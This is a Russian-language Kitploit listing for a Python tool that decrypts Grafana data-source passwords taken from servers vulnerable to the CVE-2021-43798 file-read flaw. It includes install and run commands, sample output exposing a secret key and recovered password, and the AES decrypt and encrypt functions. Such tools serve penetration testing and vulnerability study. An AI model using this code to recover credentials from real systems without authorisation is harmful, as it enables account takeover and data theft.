Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Grafana-Decryptor-for-CVE-2021-43798 — Grafana Decryptor for CVE-2021-43798 | Kitploit
Инструменты/GitHubGitHub/sic4rio/grafana-decryptor-for-cve-2021-43798
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisExploitationWeb SecurityPenetration Testing
GitHubsic4rio/grafana-decryptor-for-cve-2021-43798

Grafana-Decryptor-for-CVE-2021-43798

Grafana Decryptor for CVE-2021-43798

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
851 год назадЕщё не проверено

Дешифратор Grafana для CVE-2021-43798

Этот скрипт расшифровывает пароли источников данных из экземпляра Grafana, уязвимого к CVE-2021-43798, который позволяет неавторизованное чтение произвольных файлов.

Описание

Версии Grafana с 8.0.0-beta1 по 8.3.0 уязвимы к обходу каталогов, что позволяет неавторизованным пользователям читать произвольные файлы на сервере. Этот скрипт использует эту уязвимость для расшифровки паролей источников данных, найденных в файле grafana.db, с использованием secret_key из файла конфигурации grafana.ini.

Требования

  • Python 3.6+
  • Следующие библиотеки Python:
    • requests
    • questionary
    • termcolor
    • cryptography

Установка

  1. Клонируйте репозиторий или скачайте скрипт.
  2. Установите необходимые библиотеки Python:
    root@kitploit:~
    pip install requests questionary termcolor cryptography
    

Использование

  1. Убедитесь, что у вас есть файлы grafana.db и grafana.ini из целевого экземпляра Grafana.
  2. Запустите скрипт для расшифровки паролей источников данных.

Пример: Получение пароля источника данных

root@kitploit:~
python decrypt.py

Пример: Шифрование открытого пароля

Вы также можете закодировать открытый пароль с помощью скрипта, раскомментировав пример кода в скрипте.

Детали скрипта

Получение алгоритма шифрования

Скрипт определяет используемый алгоритм шифрования путем анализа полезной нагрузки. Алгоритм шифрования по умолчанию — aes-cfb.

Расшифровка пароля

Используя полученный алгоритм шифрования и secret_key из grafana.ini, скрипт расшифровывает пароль источника данных.

Шифрование пароля

Скрипт также включает функциональность для шифрования открытого пароля с использованием того же метода шифрования и secret_key.

Пример вывода

root@kitploit:~
######################################
         GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
            SICARI0
######################################

? Введите пароль источника данных: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

Функции расшифровки и шифрования

root@kitploit:~
def decrypt_gcm(block, payload):
    gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
    return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()

def decrypt_cfb(block, payload):
    if len(payload) < 16:
        raise ValueError("Payload too short")
    
    iv = payload[SALT_LENGTH:SALT_LENGTH+16]
    payload = payload[SALT_LENGTH+16:]
    decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
    return decryptor.update(payload) + decryptor.finalize()

def encryption_key_to_bytes(secret, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=10000,
        backend=default_backend()
    )
    return kdf.derive(secret.encode())

def decrypt(payload, secret):
    alg, payload = derive_encryption_algorithm(payload)
    
    if len(payload) < SALT_LENGTH:
        raise ValueError("Unable to compute salt")
    
    salt = payload[:SALT_LENGTH]
    key = encryption_key_to_bytes(secret, salt)
    
    block = algorithms.AES(key)
    
    if alg == AES_GCM:
        return decrypt_gcm(key, payload)
    else:
        return decrypt_cfb(key, payload)

def encrypt(payload, secret):
    salt = os.urandom(SALT_LENGTH)
    key = encryption_key_to_bytes(secret, salt)
    block = algorithms.AES(key)
    
    iv = os.urandom(16)
    encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
    encrypted = encryptor.update(payload) + encryptor.finalize()
    
    return salt + iv + encrypted

Эти функции обрабатывают процессы расшифровки и шифрования.

Вклад

Не стесняйтесь открывать issues или pull requests, если вы нашли ошибки или у вас есть предложения по улучшению.

Лицензия

Этот проект лицензирован под лицензией MIT. Подробности см. в файле LICENSE.

Скачать инструмент